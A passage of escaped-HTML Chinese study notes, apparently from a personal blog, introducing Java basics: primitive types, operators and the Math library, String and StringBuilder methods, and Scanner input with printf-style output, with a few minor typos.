title=\"数据类型\"\u003e\u003c/a\u003e数据类型\u003c/h2\u003e\u003cp\u003eJava是强类型语言。它共有8种基本数据类型:\u003c/p\u003e\u003cul\u003e\u003cli\u003e整型:int(4字节)、short(2字节)、long(8字节)、byte(1字节)\u003c/li\u003e\u003cli\u003e浮点类型:float(4字节)、double(8字节)\u003c/li\u003e\u003cli\u003echar类型\u003c/li\u003e\u003cli\u003eboolean(布尔)类型\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这些都是关键字,用于声明对应类型的变量。\u003c/p\u003e\u003cp\u003e关于整型,和C差不多,有几点要注意:Java没有无符号类型整数。在整数后加L或l表示long类型整数,前缀0X或0x表示16进制整数,前缀0B或0b表示2进制整数,前缀0表示8进制数。为了可读性,还可以用下划线\u003ccode\u003e_\u003c/code\u003e分割整数:例如\u003ccode\u003e0b1111_0100\u003c/code\u003e这样的形式都是合法的。\u003c/p\u003e\u003cp\u003e关于浮点类型,double的使用相较于float更精确。浮点数后缀有两种:F或f表示float类型,而D或d表示double类型。不加后缀默认为double类型。也可以用16进制表示浮点数值:由于0.125=2的-3次幂,故可表示成0x1.0p-3。同时,还有三个特殊的浮点数值:正无穷大,负无穷大,NaN(Not a Number,不是一个数字)。例如0/0的结果就是NaN。可用Double.isNaN()可以检测一个变量是否为数值。另外,浮点数值采用二进制系统表示,因而不能精确表示1/10。此时可以使用BigDecimal类作为替代。\u003c/p\u003e\u003cp\u003e关于char类型:char原本表示单个字符。不过如今部分Unicode字符需要两个char来表示。和C一样,单引号表示字符,双引号表示字符串,反斜杠表示转义符。另外,可以直接用诸如\u003ccode\u003e\\u2122\u003c/code\u003e而不加引号的方式表示字符,比如:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String\\u005B\\u005D args)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说,这种Unicode转义字符会在编译前被处理。因此\u003cstrong\u003e使用反斜杠时一定注意\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e关于boolean类型:C中没有布尔类型,而是使用int类型替代。Java中boolean类型只有true和false两个值。它和整数不能相互转换。这可以预防很多潜在的编程错误(例如\u003ccode\u003eif(x=0)\u003c/code\u003e在C语言中永远为假)。\u003c/p\u003e\u003cp\u003eJava的变量声明和C/C++基本一样,都是\u003ccode\u003e关键字 变量名\u003c/code\u003e的形式。同样可以在声明时对变量进行初始化(例如\u003ccode\u003eint a=5\u003c/code\u003e)。和C++一样,Java的声明可以在代码中的任何地方。用关键字final可以声明常量,这种变量只能被赋值一次。final就相当于C中的const关键字(const也是Java的关键字,不过Java并没有用它)。常量名一般习惯全部大写。常量也可以声明在main外部,类内部,使用关键字static final即可:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eExample\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"variable\"\u003eDAY_OF_WEEK\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"运算符\"\u003e\u003c/a\u003e运算符\u003c/h2\u003e\u003cp\u003e这和C/C++基本一致:\u003ccode\u003e+ - * /\u003c/code\u003e表示四则运算,\u003ccode\u003e%\u003c/code\u003e表示\u003cstrong\u003e整数求模运算\u003c/strong\u003e。对于除法,整数被0除会产生异常,而浮点数被0除则会得到无穷大或者NaN结果。\u003c/p\u003e\u003cp\u003eJava中有一个很有用的Math库,用来进行各种数学运算,并且还有一些数学常量。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eMath.sqrt(x)\u003c/code\u003e:返回一个\u003cem\u003e数值\u003c/em\u003e的平方根\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.pow(x,a)\u003c/code\u003e:返回x的a次幂。参数x和a以及返回值都是double类型\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.floorMod(x,a)\u003c/code\u003e:返回x对a取余的结果。它的存在是为了修补%运算不能正确处理负数的问题:负数的模显然应该是正数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.sin/cos/tan/atan/atan2\u003c/code\u003e:常用三角函数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.exp/log/log10\u003c/code\u003e:指数函数和它的反函数,以及以10为底的对数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.PI/E\u003c/code\u003e:两个近似表示π和e的常量\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e在源文件顶部加上这行代码,就可以省略这些方法/常量的Math.前缀了:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e java.lang.Math.*;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e数据类型转换和强制类型转换,和C/C++基本相同。此外,Java还有\u003ccode\u003eMath.round\u003c/code\u003e方法,可以对浮点数进行四舍五入:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"variable\"\u003ex\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"number\"\u003e9.997\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"variable\"\u003enx\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)Math.round(x);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于\u003ccode\u003eMath.round\u003c/code\u003e返回的是long类型,所以需要用\u003ccode\u003e(int)\u003c/code\u003e显式转换,避免数据丢失。\u003c/p\u003e\u003cp\u003e和C/C++一样,Java也有\u003ccode\u003e+=\u003c/code\u003e,\u003ccode\u003e-=\u003c/code\u003e,\u003ccode\u003e*=\u003c/code\u003e,\u003ccode\u003e/=\u003c/code\u003e和\u003ccode\u003e%=\u003c/code\u003e这几个结合赋值和运算符的运算符。左右数据类型不同时会发生强制类型转换,将运算结果转换成左值的类型。自增,自减运算符和C/C++完全一样,不需要说明。\u003c/p\u003e\u003cp\u003eJava中的逻辑运算符和C/C++一致,且支持短路特性。Java也支持三目运算符\u003ccode\u003e?:\u003c/code\u003e。下面的表达式``\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ex\u0026gt;y?x:y;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e返回\u003ccode\u003ex\u003c/code\u003e和\u003ccode\u003ey\u003c/code\u003e中较大的值。\u003c/p\u003e\u003cp\u003e位运算符有\u003ccode\u003e\u0026amp; | ^ ~\u003c/code\u003e四个,分别表示与,或,异或,非。利用位运算我们可以获得一个整数的各个位,也就是掩码技术。另外它的运算对象如果是布尔类型,则返回值也是布尔类型,但这种方式不使用路求值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e和\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e是移位运算符,用法和C/C++一样:将左值左移/右移右值相应的位数。\u003ccode\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/code\u003e会用0填充高位,而\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e会用符号位填充高位。没有\u003ccode\u003e\u0026lt;\u0026lt;\u0026lt;\u003c/code\u003e运算符。\u003c/p\u003e\u003cp\u003e枚举类型包括有限个命名的值,例如\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e \u003cspan class=\"title class_\"\u003eSize\u003c/span\u003e{SMALL, LARGE};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eSize\u003c/span\u003e \u003cspan class=\"variable\"\u003es\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e Size.LARGE;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"字符串\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%AD%97%E7%AC%A6%E4%B8%B2\" class=\"headerlink\" title=\"字符串\"\u003e\u003c/a\u003e字符串\u003c/h2\u003e\u003cp\u003eJava字符串就是Unicode字符序列。Java没有内置字符串类型,而是在标准Java类库中提供了一个String预定义类。每个用双引号括起来的字符串都是String类的一个实例:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003ee\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003egreeting\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esubstring\u003c/code\u003e方法可以从一个较大的字符串提取出一个子串:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003egreeting\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003es\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e greeting.substring(\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003es\u003c/code\u003e是一个由”hel”组成的字符串。这方法表示从第0个字符开始,复制到第三个(不包括)为止。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e+\u003c/code\u003e用来连接字符串。非字符串值被应用于这个操作符时,会被转换成字符串类型。\u003cstrong\u003e任何一个Java对象都可以转换成字符串。\u003c/strong\u003e如果需要用定界符分隔并连接,只需要用\u003ccode\u003eString.join\u003c/code\u003e静态方法:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003es\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e String.join(\u003cspan class=\"string\"\u003e\u0026#34;,\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;b\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;c\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003es\u003c/code\u003e为\u003ccode\u003ea,b,c\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eJava的String类对象被称为\u003cstrong\u003e不可变字符串\u003c/strong\u003e,也就是说一旦创建String对象,就不能对其进行修改。\u003c/p\u003e\u003cp\u003e利用\u003ccode\u003eString.equals\u003c/code\u003e方法检测两个字符串是否相等。例如\u003ccode\u003es.equals(t)\u003c/code\u003e,返回\u003ccode\u003es\u003c/code\u003e和\u003ccode\u003et\u003c/code\u003e的比较结果。这里的\u003ccode\u003es\u003c/code\u003e和\u003ccode\u003et\u003c/code\u003e可以是字符串实例,也可以是字符串字面量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003echar\u003c/code\u003e类型在Java中并不是很常用,因为现在很多字符需要两个char类型存储单元才能表示。因此尽量不要用\u003ccode\u003echar\u003c/code\u003e类型。\u003c/p\u003e\u003cp\u003e下面是常用的String类的方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eboolean equals(Object other)\u003c/code\u003e 字符串比较\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean equalsIgnoreCase(String other)\u003c/code\u003e 字符串比较,忽略大小写\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean startsWith(String str)\u003c/code\u003e 判断字符串是否以\u003ccode\u003estr\u003c/code\u003e开头\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean endsWith(String str)\u003c/code\u003e 判断字符串是否以\u003ccode\u003estr\u003c/code\u003e结束\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint length()\u003c/code\u003e 返回字符串的长度\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString substring(int begin)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString substring(int begin, int end)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString toLowerCase()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString toUpperCase()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString trim()\u003c/code\u003e 返回删除左右空格的字符串\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString join(CharSequence delimiter, CharSequence... elements)\u003c/code\u003e 就是上面的\u003ccode\u003eString.join\u003c/code\u003e方法\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e构建字符串时,可以用\u003ccode\u003eStringBuilder\u003c/code\u003e类避免每次都新建一个String对象,节省空间:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eStringBuilder\u003c/span\u003e \u003cspan class=\"variable\"\u003esb\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eStringBuilder\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esb.append(ch);  \u003cspan class=\"comment\"\u003e//添加一个字符ch\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esb.append(str);  \u003cspan class=\"comment\"\u003e//添加一个字符串str\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003ecompletedString\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e sb.toString();  \u003cspan class=\"comment\"\u003e//完成后的字符串\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是\u003ccode\u003eStringBuilder\u003c/code\u003e类的方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eStringBuilder()\u003c/code\u003e 构造器\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint length()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eStringBuilder append(String str/char c)\u003c/code\u003e 追加字符串/字符并返回\u003ccode\u003ethis\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eStringBuilder insert(String str/char c)\u003c/code\u003e 插入字符并返回\u003ccode\u003ethis\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eStringBuilder delete(int start, int end)\u003c/code\u003e 删除\u003ccode\u003estart\u003c/code\u003e到\u003ccode\u003eend\u003c/code\u003e(不包括end)的代码单元并返回\u003ccode\u003ethis\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString toString()\u003c/code\u003e 返回一个内容相同的字符串\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"输入输出\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA\" class=\"headerlink\" title=\"输入输出\"\u003e\u003c/a\u003e输入输出\u003c/h2\u003e\u003cp\u003e输入基于\u003ccode\u003eScanner\u003c/code\u003e类。首先得声明Scanner对象,并与标准输入流System.in关联:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eScanner\u003c/span\u003e \u003cspan class=\"variable\"\u003ein\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eScanner\u003c/span\u003e(System.in);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后就可以使用\u003ccode\u003eScanner\u003c/code\u003e类的各种方法实现输入操作了。比如:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eSystem.out.print(\u003cspan class=\"string\"\u003e\u0026#34;input your name:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003ename\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e in.nextLine();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e要使用\u003ccode\u003eScanner\u003c/code\u003e类,需要在\u003cstrong\u003e源码开头\u003c/strong\u003e导入\u003ccode\u003ejava.util.*\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.*;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是Scanner类的方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eScanner(InputStream in)\u003c/code\u003e 用给定的输入流创建一个Scanner对象\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString nextLine()\u003c/code\u003e 读取下一行输入的内容\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint nextInt()\u003c/code\u003e 读取下一个整数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint nextDouble()\u003c/code\u003e 读取下一个整数或浮点数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean hasNex()\u003c/code\u003e 检测输入中是否还有其他单词\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean hasNextInt()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean hasNextDouble()\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e用Scanner类进行格式化输出非常简单。使用\u003ccode\u003eSystem.out.print()\u003c/code\u003e方法可以直接输出\u003ccode\u003ex\u003c/code\u003e,用\u003ccode\u003eSystem.out.printf()\u003c/code\u003e可以格式化输出字符串。它的用法和C中的\u003ccode\u003eprintf()\u003c/code\u003e完全一致。同时还新增了一些标志。详见\u003cem\u003e用于printf的标志\u003c/em\u003e。同时,printf支持输出格式化日期与时间,但它已经被废弃(Deprecated),应当使用\u003ccode\u003ejava.time\u003c/code\u003e包的方法。\u003c/p\u003e\u003cp\u003e此外,也可以使用\u003ccode\u003eString.format()\u003c/code\u003e静态方法创建一个 格式化的字符串而不输出:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003emessage\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e String.format(\u003cspan class=\"string\"\u003e\u0026#34;Hllo, %s. Next year, you\u0026#39;ll be %d\u0026#34;\u003c/span\u003e, name, age);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eScanner类也支持文件输入输出:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eScanner\u003c/span\u003e \u003cspan class=\"variable\"\u003ein\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eScanner\u003c/span\u003e(Paths.get(\u003cspan class=\"string\"\u003e\u0026#34;myfile.exe\u0026#34;\u003c/span\u003e), \u003cspan 